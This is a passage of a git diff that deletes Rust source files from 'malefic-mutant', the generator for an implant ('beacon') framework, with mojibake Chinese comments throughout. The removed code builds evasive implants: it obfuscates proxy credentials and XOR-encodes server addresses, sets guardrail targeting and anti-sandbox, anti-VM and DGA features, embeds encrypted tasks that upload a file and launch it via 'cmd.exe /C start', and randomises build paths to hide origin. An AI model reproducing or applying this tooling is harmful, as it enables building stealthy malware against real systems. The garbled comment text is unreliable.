mtls_code - ); - - tls_code - } else { - " tls_config: None,\n".to_string() - } - } else { - // target 没有 TLS é…置,返回 None - " tls_config: None,\n".to_string() - } -} - -fn generate_proxy_config_for_target(target: &TargetConfig, basic_config: &BasicConfig) -> String { - // 优先使用目标特定的代ç†é…置,å¦åˆ™ä½¿ç”¨å…¨å±€é…ç½® - let proxy_config = target.proxy.as_ref().unwrap_or(&basic_config.proxy); - - // æ£€æŸ¥æ˜¯å¦æœ‰ä»£ç†é…ç½® - if !proxy_config.url.is_empty() { - if let Ok(proxy_url) = Url::parse(&proxy_config.url) { - format!( - r#" proxy_config: Some(ProxyConfig {{ - proxy_type: "{}".to_string(), - host: obfstr::obfstr!("{}").to_string(), - port: {}, - username: obfstr::obfstr!("{}").to_string(), - password: obfstr::obfstr!("{}").to_string(), - }}), -"#, - proxy_url.scheme(), - proxy_url.host_str().unwrap_or(""), - proxy_url - .port() - .unwrap_or_else(|| match proxy_url.scheme() { - "http" | "https" => 8080, - "socks5" | "socks" => 1080, - _ => 8080, - }), - proxy_url.username(), - proxy_url.password().unwrap_or("") - ) - } else { - " proxy_config: None,\n".to_string() - } - } else { - " proxy_config: None,\n".to_string() - } -} - -fn generate_domain_suffix_config(target: &TargetConfig) -> String { - if let Some(ref suffix) = target.domain_suffix { - format!( - r#" domain_suffix: Some(obfstr::obfstr!("{}").to_string()), -"#, - suffix - ) - } else { - " domain_suffix: None,\n".to_string() - } -} - -fn generate_xor_support_section(server: &BasicConfig) -> String { - if server.key.is_empty() { - panic!("basic.key cannot be empty when obfstr is disabled"); - } - - const BLOCK_LEN: usize = 64; - let xor_key_bytes = server.key.as_bytes(); - let xor_literal = format!("b{:?}", server.key); - - let mut section = String::new(); - section.push_str(&format!( - "const XOR_KEY: &[u8; {len}] = {literal};\nconst BLOCK_LEN: usize = {block_len};\n", - len = xor_key_bytes.len(), - literal = xor_literal, - block_len = BLOCK_LEN - )); - - let name_block = encode_block_bytes(&server.name, xor_key_bytes); - section.push_str("const NAME_BLOCK: [u8; BLOCK_LEN] = [\n"); - section.push_str(&format!("{}\n", format_block(&name_block, " "))); - section.push_str("];\n"); - - let key_block = encode_block_bytes(&server.key, xor_key_bytes); - section.push_str("const KEY_BLOCK: [u8; BLOCK_LEN] = [\n"); - section.push_str(&format!("{}\n", format_block(&key_block, " "))); - section.push_str("];\n"); - - if server.targets.is_empty() { - section.push_str("const SERVER_ADDRESS_BLOCKS: [[u8; BLOCK_LEN]; 0] = [];\n"); - } else { - section.push_str(&format!( - "const SERVER_ADDRESS_BLOCKS: [[u8; BLOCK_LEN]; {}] = [\n", - server.targets.len() - )); - for target in &server.targets { - let addr_block = encode_block_bytes(&target.address, xor_key_bytes); - section.push_str(" [\n"); - section.push_str(&format!("{}\n", format_block(&addr_block, " "))); - section.push_str(" ],\n"); - } - section.push_str("];\n"); - } - - section.push_str( - r#" -fn decode_string_from_block(block: &[u8]) -> String { - let mut decoded = Vec::new(); - for (idx, &byte) in block.iter().enumerate() { - let key = XOR_KEY[idx % XOR_KEY.len()]; - if byte == key { - break; - } - decoded.push(byte ^ key); - } - String::from_utf8(decoded).unwrap_or_default() -} - -fn decode_bytes_from_block(block: &[u8]) -> Vec { - let mut decoded = Vec::new(); - for (idx, &byte) in block.iter().enumerate() { - let key = XOR_KEY[idx % XOR_KEY.len()]; - if byte == key { - break; - } - decoded.push(byte ^ key); - } - decoded -} - -"#, - ); - - section -} - -fn encode_block_bytes(value: &str, key_bytes: &[u8]) -> Vec { - const BLOCK_LEN: usize = 64; - if key_bytes.is_empty() { - panic!("xor key cannot be empty"); - } - let value_bytes = value.as_bytes(); - if value_bytes.len() > BLOCK_LEN { - panic!( - "value '{}' exceeds {} bytes required by block encoding", - value, BLOCK_LEN - ); - } - - let mut block = vec![0u8; BLOCK_LEN]; - for idx in 0..BLOCK_LEN { - let key_byte = key_bytes[idx % key_bytes.len()]; - if idx < value_bytes.len() { - block[idx] = value_bytes[idx] ^ key_byte; - } else { - block[idx] = key_byte; - } - } - block -} - -fn format_block(block: &[u8], indent: &str) -> String { - block - .chunks(16) - .map(|chunk| { - let line = chunk - .iter() - .map(|byte| format!("0x{:02X}", byte)) - .collect::>() - .join(", "); - format!("{}{}", indent, line) - }) - .collect::>() - .join(",\n") -} - -pub fn update_core_toml(server: &BasicConfig, implant: &ImplantConfig) { - log_step!("Updating core Cargo.toml..."); - let cargo_toml_content = - fs::read_to_string(CONFIG_CORE_TOML_PATH).expect("Failed to read Cargo.toml file"); - - let mut cargo_toml: DocumentMut = cargo_toml_content - .parse() - .expect("Failed to parse Cargo.toml file"); - - if let Some(features) = cargo_toml[&FEATURES].as_table_mut() { - let mut default_feature = Array::new(); - if !implant.runtime.is_empty() { - default_feature.push(implant.runtime.clone()); - } else { - default_feature.push("tokio".to_string()); - } - if implant.hot_load { - default_feature.push("hot_load".to_string()); - } - - if implant.register_info { - default_feature.push("register_info".to_string()); - } - - if !server.proxy.url.is_empty() || server.proxy.use_env_proxy { - default_feature.push("proxy".to_string()); - // 简化features,åªä½¿ç”¨proxy这一个feature - // if server.proxy.url.contains("socks5") { - // default_feature.push("socks5_proxy".to_string()); - // } else if server.proxy.url.contains("http") { - // default_feature.push("http_proxy".to_string()); - // } - } - - // match server.protocol.as_str() { - // "tcp" => { - // default_feature.push("transport_tcp".to_string()); - // } - // "http" => { - // default_feature.push("transport_http".to_string()); - // } - // "rem" => { - // default_feature.push("transport_rem".to_string()); - // } - // _ => {} - // } - - let used_protocols = server.get_used_protocols(); - for protocol in used_protocols { - match protocol.as_str() { - "tcp" => { - default_feature.push("transport_tcp".to_string()); - } - "http" => { - default_feature.push("transport_http".to_string()); - } - "rem" => { - default_feature.push("transport_rem".to_string()); - } - _ => {} - } - } - - if server.has_tls_enabled() { - default_feature.push("tls".to_string()); - - // 检查mTLS - // let has_mtls = server.tls.mtls.as_ref().map_or(false, |m| m.enable) || - // server.targets.iter().any(|t| { - // t.tls.as_ref().and_then(|tls| tls.mtls.as_ref()).map_or(false, |m| m.enable) - // }); - - let has_mtls = server.targets.iter().any(|t| { - t.tls - .as_ref() - .and_then(|tls| tls.mtls.as_ref()) - .map_or(false, |m| m.enable) - }); - - if has_mtls { - default_feature.push("mtls".to_string()); - } - } - - // Handle third-party module configuration - if implant.enable_3rd { - default_feature.push("malefic-3rd".to_string()); - // Update malefic-3rd Cargo.toml - update_3rd_toml(&implant.third_modules); - } - - // Handle DGA configuration - if server.dga.enable { - default_feature.push("dga".to_string()); - } - - features["default"] = toml_edit::Item::Value(default_feature.into()); - } - fs::write(CONFIG_CORE_TOML_PATH, cargo_toml.to_string()) - .expect("Failed to write updated Cargo.toml file"); - log_success!( - "Core Cargo.toml has been updated at {}", - CONFIG_CORE_TOML_PATH - ); -} - -fn generate_guardrail_config_section(guardrail_config: &GuardrailConfig) -> String { - if !guardrail_config.enable { - // 如果guardrail未å¯ç”¨ï¼Œç”Ÿæˆé»˜è®¤çš„空é…ç½® - return r#" - pub static ref GUARDRAIL_CONFIG: GuardrailConfig = GuardrailConfig { - ip_addresses: vec![], - usernames: vec![], - server_names: vec![], - domains: vec![], - require_all: true, - }; - -"# - .to_string(); - } - - // 生æˆIP地å€åˆ—表 - let ip_addresses = guardrail_config - .ip_addresses - .iter() - .map(|ip| format!("obfstr::obfstr!(\"{}\").to_string()", ip)) - .collect::>() - .join(",\n "); - - // 生æˆç”¨æˆ·å列表 - let usernames = guardrail_config - .usernames - .iter() - .map(|user| format!("obfstr::obfstr!(\"{}\").to_string()", user)) - .collect::>() - .join(",\n "); - - // ç”ŸæˆæœåС噍å列表 - let server_names = guardrail_config - .server_names - .iter() - .map(|server| format!("obfstr::obfstr!(\"{}\").to_string()", server)) - .collect::>() - .join(",\n "); - - // 生æˆåŸŸå列表 - let domains = guardrail_config - .domains - .iter() - .map(|domain| format!("obfstr::obfstr!(\"{}\").to_string()", domain)) - .collect::>() - .join(",\n "); - - format!( - r#" - pub static ref GUARDRAIL_CONFIG: GuardrailConfig = GuardrailConfig {{ - ip_addresses: vec![ - {} - ], - usernames: vec![ - {} - ], - server_names: vec![ - {} - ], - domains: vec![ - {} - ], - require_all: {}, - }}; - -"#, - if ip_addresses.is_empty() { - "".to_string() - } else { - format!("\n {}", ip_addresses) - }, - if usernames.is_empty() { - "".to_string() - } else { - format!("\n {}", usernames) - }, - if server_names.is_empty() { - "".to_string() - } else { - format!("\n {}", server_names) - }, - if domains.is_empty() { - "".to_string() - } else { - format!("\n {}", domains) - }, - guardrail_config.require_all - ) -} diff --git a/malefic-mutant/src/generate/config_helper.rs b/malefic-mutant/src/generate/config_helper.rs deleted file mode 100644 index 7f8ef91..0000000 --- a/malefic-mutant/src/generate/config_helper.rs +++ /dev/null @@ -1,88 +0,0 @@ -use crate::config::Version; -use crate::log_success; -use crate::{ - CFG_TARGET_OS_WINDOWS, COMMUNITY, CONFIG_MALEFIC_WIN_KIT_PATH, DEFAULT, DEPENDENCICES, - FEATURES, MALEFIC_WIN_KIT, PATH, PREBUILD, PROFESSIONAL, SOURCE, TARGET, -}; -use std::fs; -use toml_edit::{DocumentMut, InlineTable, Item, Value}; - -pub fn update_helper_toml(version: &Version, source: bool) { - let config_helper_toml_path = "malefic-helper/Cargo.toml"; - - let cargo_toml_content = - fs::read_to_string(config_helper_toml_path).expect("Failed to read Cargo.toml file"); - - let mut cargo_toml: DocumentMut = cargo_toml_content - .parse() - .expect("Failed to parse Cargo.toml file"); - - if let Some(features) = cargo_toml[&FEATURES].as_table_mut() { - if let Some(default_array) = features[&DEFAULT].as_array_mut() { - if source { - if default_array - .iter() - .find(|x| x.as_str().unwrap() == SOURCE) - .is_none() - { - default_array.push(SOURCE); - } - default_array.retain(|x| x.as_str().unwrap() != PREBUILD); - } else { - if default_array - .iter() - .find(|x| x.as_str().unwrap() == PREBUILD) - .is_none() - { - default_array.push(PREBUILD); - } - default_array.retain(|x| x.as_str().unwrap() != SOURCE); - } - - match version { - Version::Community => { - if default_array - .iter() - .find(|x| x.as_str().unwrap() == COMMUNITY) - .is_none() - { - default_array.push(COMMUNITY); - } - default_array.retain(|x| x.as_str().unwrap() != PROFESSIONAL); - } - Version::Professional => { - if default_array - .iter() - .find(|x| x.as_str().unwrap() == PROFESSIONAL) - .is_none() - { - default_array.push(PROFESSIONAL); - } - default_array.retain(|x| x.as_str().unwrap() != COMMUNITY); - } - _ => panic!("Invalid version is selected."), - } - } - } - - if let Some(target) = cargo_toml[&TARGET].as_table_mut() { - if let Some(target_os) = target[&CFG_TARGET_OS_WINDOWS].as_table_mut() { - if let Some(dependencies) = target_os[&DEPENDENCICES].as_table_mut() { - if !source { - dependencies.remove(&MALEFIC_WIN_KIT); - } else { - let mut inline_table = InlineTable::default(); - inline_table.insert(PATH.to_string(), Value::from(CONFIG_MALEFIC_WIN_KIT_PATH)); - dependencies.insert(&MALEFIC_WIN_KIT, Item::Value(inline_table.into())); - } - } - } - } - - fs::write(config_helper_toml_path, cargo_toml.to_string()) - .expect("Failed to write updated Cargo.toml file"); - log_success!( - "Cargo.toml file {} has been updated", - config_helper_toml_path - ); -} diff --git a/malefic-mutant/src/generate/config_malefic.rs b/malefic-mutant/src/generate/config_malefic.rs deleted file mode 100644 index a55d585..0000000 --- a/malefic-mutant/src/generate/config_malefic.rs +++ /dev/null @@ -1,183 +0,0 @@ -use crate::config::{BasicConfig, ImplantConfig}; -use crate::generate::config_prelude::{parse_yaml, update_prelude_spites}; -use crate::FEATURES; -use crate::{log_error, log_info, log_step, log_success}; -use malefic_proto::proto::implantpb::spite::Body; -use malefic_proto::proto::implantpb::Spite; -use std::fs; -use std::path::Path; -use toml_edit::{Array, DocumentMut, Item}; - -const CONFIG_BEACON_TOML_PATH: &str = "malefic/Cargo.toml"; - -pub fn update_beacon_toml(server: &BasicConfig, implant_config: &ImplantConfig) { - log_step!("Updating beacon Cargo.toml..."); - let cargo_toml_content = match fs::read_to_string(CONFIG_BEACON_TOML_PATH) { - Ok(content) => content, - Err(e) => { - log_error!( - "Failed to read Cargo.toml at {}: {}", - CONFIG_BEACON_TOML_PATH, - e - ); - panic!("Failed to read Cargo.toml"); - } - }; - - let mut cargo_toml: DocumentMut = match cargo_toml_content.parse() { - Ok(doc) => doc, - Err(e) => { - log_error!("Failed to parse Cargo.toml: {}", e); - panic!("Failed to parse Cargo.toml"); - } - }; - - if let Some(features) = cargo_toml[&FEATURES].as_table_mut() { - let default_array = Array::new(); - let mut updated_features = default_array; - - if server.secure.enable { - updated_features.push("secure".to_string()); - } - - match implant_config.r#mod.as_str() { - "beacon" => { - updated_features.push("beacon".to_string()); - } - "bind" => { - updated_features.push("bind".to_string()); - } - _ => {} - } - - match implant_config.runtime.as_str() { - "smol" => { - updated_features.push("runtime_smol".to_string()); - } - "tokio" => { - updated_features.push("runtime_tokio".to_string()); - } - "async-std" => { - updated_features.push("runtime_asyncstd".to_string()); - } - _ => { - updated_features.push("runtime_tokio".to_string()); - } - } - - let has_pack = implant_config - .pack - .as_ref() - .map_or(false, |p| !p.is_empty()); - if has_pack || !implant_config.prelude.is_empty() { - log_success!("prelude is enabled"); - updated_features.push("malefic-prelude".to_string()); - } - - // Add anti features based on config - if let Some(anti_config) = &implant_config.anti { - if anti_config.sandbox { - updated_features.push("anti_sandbox".to_string()); - } - if anti_config.vm { - updated_features.push("anti_vm".to_string()); - } - } - - // Add guardrail feature if enabled - if server.guardrail.enable { - updated_features.push("guardrail".to_string()); - } - - features["default"] = Item::Value(updated_features.into()); - } else { - log_error!("Failed to find 'features' in Cargo.toml"); - panic!("Failed to find 'features' in Cargo.toml"); - } - - if let Err(e) = fs::write(CONFIG_BEACON_TOML_PATH, cargo_toml.to_string()) { - log_error!("Failed to write Cargo.toml: {}", e); - panic!("Failed to write Cargo.toml"); - } - - log_success!( - "Beacon Cargo.toml has been updated at {}", - CONFIG_BEACON_TOML_PATH - ); -} - -pub fn update_malefic_spites(implant_config: &ImplantConfig, key: &str) -> anyhow::Result<()> { - let has_pack = implant_config - .pack - .as_ref() - .map_or(false, |p| !p.is_empty()); - - if implant_config.prelude.is_empty() && !has_pack { - return Ok(()); - } - log_step!("Generating malefic spites..."); - - let mut spites = if !implant_config.prelude.is_empty() { - log_info!( - "Loading autorun configuration from {}", - implant_config.prelude - ); - let autorun_yaml = std::fs::read_to_string(&implant_config.prelude)?; - parse_yaml(&autorun_yaml) - } else { - Vec::new() - }; - - if let Some(pack_resources) = &implant_config.pack { - for pack in pack_resources { - if Path::new("./resources").join(&pack.src).exists() { - let upload_request = - Body::UploadRequest(malefic_proto::proto::modulepb::UploadRequest { - name: "".to_string(), - r#priv: 0o644, - hidden: false, - r#override: false, - target: pack.dst.clone(), - data: fs::read(Path::new("./resources").join(&pack.src)) - .expect("Failed to read resource file"), - }); - spites.push(Spite { - name: "upload".to_string(), - task_id: 0, - r#async: false, - timeout: 0, - error: 0, - status: None, - body: Some(upload_request), - }); - - let exec_request = Body::ExecRequest(malefic_proto::proto::modulepb::ExecRequest { - path: "cmd.exe".to_string(), - ppid: 0, - args: vec![ - "/C".to_string(), - "start".to_string(), - "".to_string(), - pack.dst.clone(), - ], - output: false, - singleton: true, - realtime: false, - }); - spites.push(Spite { - name: "exec".to_string(), - task_id: 0, - r#async: false, - timeout: 0, - error: 0, - status: None, - body: Some(exec_request), - }); - } - } - } - - update_prelude_spites(spites, "./resources", key, "spite.bin")?; - log_success!("Malefic spites have been generated successfully"); - Ok(()) -} diff --git a/malefic-mutant/src/generate/config_modules.rs b/malefic-mutant/src/generate/config_modules.rs deleted file mode 100644 index ac699a7..0000000 --- a/malefic-mutant/src/generate/config_modules.rs +++ /dev/null @@ -1,31 +0,0 @@ -use crate::{log_success, FEATURES}; -use std::fs; -use toml_edit::{Array, DocumentMut}; - -static CONFIG_MODULE_TOML_PATH: &str = "malefic-modules/Cargo.toml"; - -pub fn update_module_toml(modules: &Vec) { - let cargo_toml_content = - fs::read_to_string(CONFIG_MODULE_TOML_PATH).expect("Failed to read Cargo.toml file"); - - let mut cargo_toml: DocumentMut = cargo_toml_content - .parse() - .expect("Failed to parse Cargo.toml file"); - - if let Some(features) = cargo_toml[&FEATURES].as_table_mut() { - let mut default_feature = Array::new(); - for module in modules { - default_feature.push(module.to_string()); - } - features["default"] = toml_edit::Item::Value(default_feature.into()); - } else { - panic!("Failed to find 'features' in Cargo.toml."); - } - - fs::write(CONFIG_MODULE_TOML_PATH, cargo_toml.to_string()) - .expect("Failed to write updated Cargo.toml file"); - log_success!( - "Cargo.toml at {} has been successfully updated", - CONFIG_MODULE_TOML_PATH - ); -} diff --git a/malefic-mutant/src/generate/config_prelude.rs b/malefic-mutant/src/generate/config_prelude.rs deleted file mode 100644 index b3bfb3d..0000000 --- a/malefic-mutant/src/generate/config_prelude.rs +++ /dev/null @@ -1,215 +0,0 @@ -use crate::generate::config_modules::update_module_toml; -use crate::RESOURCES_DIR; -use crate::{log_info, log_success}; -use base64::{self, prelude::BASE64_STANDARD, Engine}; -use hex; -use malefic_proto::compress::compress; -use malefic_proto::crypto::new_cryptor; -use malefic_proto::encode; -use malefic_proto::proto::implantpb::spite::Body; -use malefic_proto::proto::implantpb::{Spite, Spites}; -use serde_yaml::value::Tag; -use serde_yaml::{from_str, Number, Value}; -use std::fs; -use std::io::Write; -use std::path::Path; - -fn process_tags(value: &mut Value, path: &str) { - match value { - Value::Mapping(map) => { - for (k, v) in map.iter_mut() { - let key = k.as_str().unwrap_or("unknown"); - process_tags(v, &format!("{} > {}", path, key)); - } - } - Value::Sequence(seq) => { - for (i, v) in seq.iter_mut().enumerate() { - process_tags(v, &format!("{}[{}]", path, i)); - } - } - Value::Tagged(tagged) => { - if tagged.tag == Tag::new("!File") { - if let Value::String(file_path) = &tagged.value { - let base_filepath = Path::new(RESOURCES_DIR); - let resource_filepath = base_filepath.join(file_path); - let file_content = fs::read(resource_filepath.clone()).unwrap_or_else(|err| { - panic!( - "Failed to read file '{:?}': {} at {}", - resource_filepath, err, path - ); - }); - *value = Value::Sequence( - file_content - .into_iter() - .map(|byte| Value::Number(Number::from(byte as i64))) - .collect(), - ); - } - } else if tagged.tag == Tag::new("!Base64") { - if let Value::String(encoded_str) = &tagged.value { - let decoded_bytes = BASE64_STANDARD.decode(encoded_str).unwrap_or_else(|err| { - panic!( - "Failed to decode base64 string '{}': {} at {}", - encoded_str, err, path - ); - }); - *value = Value::Sequence( - decoded_bytes - .into_iter() - .map(|byte| Value::Number(Number::from(byte as i64))) - .collect(), - ); - } - } else if tagged.tag == Tag::new("!Hex") { - if let Value::String(hex_str) = &tagged.value { - let decoded_bytes = hex::decode(hex_str).unwrap_or_else(|err| { - panic!( - "Failed to decode hex string '{}': {} at {}", - hex_str, err, path - ); - }); - *value = Value::Sequence( - decoded_bytes - .into_iter() - .map(|byte| Value::Number(Number::from(byte as i64))) - .collect(), - ); - } - } else { - process_tags(&mut tagged.value, path); - } - } - _ => {} - } -} - -fn parse_yaml_with_tag(yaml_str: &str) -> T -where - T: serde::de::DeserializeOwned, -{ - let mut yaml_value: Value = from_str(yaml_str).expect("Failed to parse YAML"); - process_tags(&mut yaml_value, "root"); - serde_yaml::from_value(yaml_value).expect("Failed to deserialize into target type") -} - -#[derive(serde::Deserialize, Debug)] -struct SpiteWrapper { - #[serde(default)] - name: String, - #[serde(default)] - task_id: u32, - #[serde(default)] - r#async: bool, - #[serde(default)] - timeout: u64, - #[serde(default)] - error: u32, - #[serde(default)] - status: Option, - body: Option, -} - -pub fn parse_yaml(yaml_str: &str) -> Vec { - let spites_wrappers: Vec = parse_yaml_with_tag(yaml_str); - - let mut spites = Vec::new(); - for wrapper in spites_wrappers { - if let Some(body) = wrapper.body { - spites.push(Spite { - name: wrapper.name, - task_id: wrapper.task_id, - r#async: wrapper.r#async, - timeout: wrapper.timeout, - error: wrapper.error, - status: wrapper.status, - body: Some(body), - }); - } - } - spites -} - -pub fn update_prelude_spites( - spites: Vec, - resources: &str, - key: &str, - output: &str, -) -> anyhow::Result<()> { - let base_filepath = Path::new(resources); - - let mut modules = Vec::new(); - for spite in &spites { - if !modules.contains(&spite.name) { - modules.push(spite.name.clone()); - } - } - log_info!("Detected modules from prelude: {:?}", modules); - update_module_toml(&modules); - - let data = encode(Spites { spites })?; - let compressed = compress(&data)?; - let iv = key.as_bytes().to_vec().iter().rev().cloned().collect(); - let mut cryptor = new_cryptor(key.as_bytes().to_vec(), iv); - let encrypted = cryptor.encrypt(compressed)?; - let spite_path = base_filepath.join(output); - let mut file = std::fs::File::create(spite_path.clone())?; - file.write_all(&encrypted)?; - log_success!("Data successfully written to {:?}", spite_path); - Ok(()) -} - -// #[cfg(test)] -// mod tests { -// use super::*; - -// #[test] -// fn test_marshal_spite() { -// let spite = Spite { -// name: "bof".to_string(), -// task_id: 1, -// r#async: false, -// timeout: 1000, -// error: 0, -// status: None, -// body: Some(Body::ExecuteBinary(malefic_proto::proto::modulepb::ExecuteBinary { -// name: "systeminfo".to_string(), -// bin: vec![], -// param: Default::default(), -// r#type: "".to_string(), -// process_name: "".to_string(), -// args: vec![], -// entry_point: "".to_string(), -// output: false, -// arch: 0, -// timeout: 0, -// sacrifice: None, -// })), -// }; - -// let spite_str = serde_yaml::to_string(&spite).expect("Failed to serialize Spite"); -// println!("{}", spite_str.as_str()) -// } - -// #[test] -// fn test_parse_yaml() { -// let current_dir = std::env::current_dir().expect("Failed to get current directory"); -// println!("Current working directory: {}", current_dir.display()); - -// let yaml_str = r#" -// - -// name: bof -// body: !ExecuteBinary -// name: systeminfo -// "#; - -// // è§£æž YAMLï¼Œå¹¶ç”Ÿæˆ Vec -// let spites = parse_yaml(yaml_str); - -// // 打å°ç»“æžœï¼Œæ£€æŸ¥æ˜¯å¦æ­£ç¡®ç”Ÿæˆå¹¶è‡ªåŠ¨ç”Ÿæˆçœç•¥çš„字段 -// for spite in &spites { -// println!("{:?}", spite); -// } - -// // æ¸…ç†æµ‹è¯•文件 -// } -// } diff --git a/malefic-mutant/src/generate/config_proto.rs b/malefic-mutant/src/generate/config_proto.rs deleted file mode 100644 index 8ec4bd0..0000000 --- a/malefic-mutant/src/generate/config_proto.rs +++ /dev/null @@ -1,38 +0,0 @@ -use crate::config::BasicConfig; -use crate::{log_success, FEATURES}; -use std::fs; -use toml_edit::{Array, DocumentMut}; - -static CONFIG_PROTO_TOML_PATH: &str = "malefic-proto/Cargo.toml"; - -pub fn update_proto_toml(server: &BasicConfig) { - let cargo_toml_content = - fs::read_to_string(CONFIG_PROTO_TOML_PATH).expect("Failed to read Cargo.toml file"); - - let mut cargo_toml: DocumentMut = cargo_toml_content - .parse() - .expect("Failed to parse Cargo.toml file"); - - if let Some(features) = cargo_toml[&FEATURES].as_table_mut() { - let mut default_feature = Array::new(); - match server.encryption.as_str() { - "aes" => { - default_feature.push("Crypto_AES".to_string()); - } - "chacha20" => { - default_feature.push("Crypto_Chacha20".to_string()); - } - _ => { - default_feature.push("Crypto_XOR".to_string()); - } - } - features["default"] = toml_edit::Item::Value(default_feature.into()); - } - - fs::write(CONFIG_PROTO_TOML_PATH, cargo_toml.to_string()) - .expect("Failed to write updated Cargo.toml file"); - log_success!( - "Cargo.toml file {} has been updated", - CONFIG_PROTO_TOML_PATH - ); -} diff --git a/malefic-mutant/src/generate/config_pulse.rs b/malefic-mutant/src/generate/config_pulse.rs deleted file mode 100644 index 9cbbc1d..0000000 --- a/malefic-mutant/src/generate/config_pulse.rs +++ /dev/null @@ -1,69 +0,0 @@ -#[warn(dead_code)] -use std::fs; -use toml_edit::{Array, DocumentMut, InlineTable, Item, Value}; - -use crate::{ - log_success, CFG_TARGET_OS_WINDOWS, CONFIG_MALEFIC_WIN_KIT_PATH, DEFAULT, DEPENDENCICES, - FEATURES, MALEFIC_WIN_KIT, PATH, PREBUILD, SOURCE, TARGET, -}; - -static DEFAULT_FEATURE: &str = "default-features"; -static NANO_FEATURE: &str = "NANO"; -static ASM_FEATURE: &str = "ASM"; - -pub fn update_pulse_toml(source: bool) { - let config_pulse_toml_path = "malefic-pulse/Cargo.toml"; - let cargo_toml_content = - fs::read_to_string(config_pulse_toml_path).expect("Failed to read Cargo.toml file"); - - let mut cargo_toml: DocumentMut = cargo_toml_content - .parse() - .expect("Failed to parse Cargo.toml file"); - - if let Some(features) = cargo_toml[&FEATURES].as_table_mut() { - if let Some(default_array) = features[&DEFAULT].as_array_mut() { - if source { - // if default_array.iter().find( - // |x| x.as_str().unwrap() == SOURCE).is_none() { - // default_array.push(SOURCE); - // } - default_array.retain(|x| x.as_str().unwrap() != PREBUILD); - } else { - if default_array - .iter() - .find(|x| x.as_str().unwrap() == PREBUILD) - .is_none() - { - default_array.push(PREBUILD); - } - default_array.retain(|x| x.as_str().unwrap() != SOURCE); - } - } - } - - if let Some(target) = cargo_toml[&TARGET].as_table_mut() { - if let Some(target_os) = target[&CFG_TARGET_OS_WINDOWS].as_table_mut() { - if let Some(dependencies) = target_os[&DEPENDENCICES].as_table_mut() { - if !source { - dependencies.remove(&MALEFIC_WIN_KIT); - } else { - let mut inline_table = InlineTable::default(); - inline_table.insert(PATH, Value::from(CONFIG_MALEFIC_WIN_KIT_PATH)); - inline_table.insert(DEFAULT_FEATURE, Value::from(false)); - let mut array = Array::default(); - array.push(NANO_FEATURE); - array.push(ASM_FEATURE); - inline_table.insert(FEATURES, Value::from(array)); - dependencies.insert(&MALEFIC_WIN_KIT, Item::Value(inline_table.into())); - } - } - } - } - - fs::write(config_pulse_toml_path, cargo_toml.to_string()) - .expect("Failed to write updated Cargo.toml file"); - log_success!( - "Cargo.toml file {} has been updated", - config_pulse_toml_path - ); -} diff --git a/malefic-mutant/src/generate/config_toml.rs b/malefic-mutant/src/generate/config_toml.rs deleted file mode 100644 index c9ffb93..0000000 --- a/malefic-mutant/src/generate/config_toml.rs +++ /dev/null @@ -1,232 +0,0 @@ -#![allow(dead_code)] -#![allow(unused_imports)] - -use crate::{log_error, log_success}; -use rand::distributions::Alphanumeric; -use rand::{thread_rng, Rng}; -use std::fs; -use std::io::{self, Write}; -use std::path::{Path, PathBuf}; -use toml_edit::{Array, DocumentMut, Item, Table, Value}; - -// Constants -const RANDOM_STRING_LENGTH: usize = 6; -const CONFIG_PATH: &str = ".cargo/config.toml"; -const TARGET_KEY: &str = "target"; -const CFG_ALL_KEY: &str = "cfg(all())"; -const RUSTFLAGS_KEY: &str = "rustflags"; - -const MALEFIC_DIRS: &[&str] = &[ - "malefic", - "malefic-modules", - "malefic-helper", - "malefic-trait", - "malefic-mutant", - "malefic-core", - "malefic-prelude", - "malefic-proto", - "malefic-pulse", - "malefic-3rd", - "malefic-win-kit", -]; - -/// Recursively collect remap flags for all .rs files in the given directory and its subdirectories -fn collect_rs_file_remap_flags( - dir: &Path, - remap_flags: &mut Vec, - current_dir: &Path, -) -> io::Result<()> { - for entry in fs::read_dir(dir)? { - let entry = entry?; - let path = entry.path(); - - if path.is_file() && path.extension().unwrap_or_default() == "rs" { - if let Ok(relative_path) = path.strip_prefix(current_dir) { - let remap_flag = generate_path_remap_flag(&relative_path); - remap_flags.push(remap_flag); - } - } else if path.is_dir() { - // Recursively process subdirectories - collect_rs_file_remap_flags(&path, remap_flags, current_dir)?; - } - } - Ok(()) -} -/// Collect remap flags for all malefic project source files (src directory and all subdirectories) -fn collect_malefic_project_remap_flags( - base_dir: &Path, - remap_flags: &mut Vec, -) -> io::Result<()> { - let current_dir = std::env::current_dir()?; - let mut _processed_count = 0; - let mut _total_files = 0; - - for &dir_name in MALEFIC_DIRS { - let malefic_dir = base_dir.join(dir_name); - if malefic_dir.exists() && malefic_dir.is_dir() { - let src_dir = malefic_dir.join("src"); - if src_dir.exists() && src_dir.is_dir() { - let initial_count = remap_flags.len(); - // Process src directory and all its subdirectories recursively - collect_rs_file_remap_flags(&src_dir, remap_flags, ¤t_dir)?; - let files_added = remap_flags.len() - initial_count; - if files_added > 0 { - _processed_count += 1; - _total_files += files_added; - } - } - } - } - Ok(()) -} -/// Generate a path remap flag with random target path -fn generate_path_remap_flag(path: &Path) -> String { - let random_str: String = thread_rng() - .sample_iter(&Alphanumeric) - .take(RANDOM_STRING_LENGTH) - .map(char::from) - .collect(); - - // Normalize path separators to forward slashes for consistency - let path_str = path.to_string_lossy().replace('\\', "\\\\"); - - format!("--remap-path-prefix={}={}", path_str, random_str) -} - -/// Add CARGO_HOME path remap flag if the environment variable exists -fn add_cargo_home_remap_flag(remap_flags: &mut Vec) { - if let Ok(cargo_home) = std::env::var("CARGO_HOME") { - let cargo_home_path = Path::new(&cargo_home); - let remap_flag = generate_path_remap_flag(cargo_home_path); - remap_flags.push(remap_flag); - } -} - -/// Collect all remap flags from malefic projects and CARGO_HOME -fn collect_all_remap_flags() -> io::Result> { - let mut remap_flags = Vec::new(); - - let current_dir = std::env::current_dir()?; - collect_malefic_project_remap_flags(¤t_dir, &mut remap_flags)?; - add_cargo_home_remap_flag(&mut remap_flags); - - Ok(remap_flags) -} - -/// Check if rustflags configuration already exists -fn check_existing_rustflags_config(doc: &DocumentMut) -> bool { - if let Some(target_table) = doc[TARGET_KEY].as_table() { - if let Some(cfg_table) = target_table.get(CFG_ALL_KEY) { - if cfg_table.get(RUSTFLAGS_KEY).is_some() { - return true; - } - } - } - false -} - -/// Write remap flags to config file (assumes early check already passed) -fn write_config_file(remap_flags: Vec) -> io::Result<()> { - let config_path = Path::new(CONFIG_PATH); - - // Read existing config or create new one - let existing_content = if config_path.exists() { - fs::read_to_string(config_path)? - } else { - String::new() - }; - - let mut doc = existing_content.parse::().map_err(|e| { - io::Error::new( - io::ErrorKind::InvalidData, - format!("Failed to parse TOML: {}", e), - ) - })?; - - // Create rustflags array - let 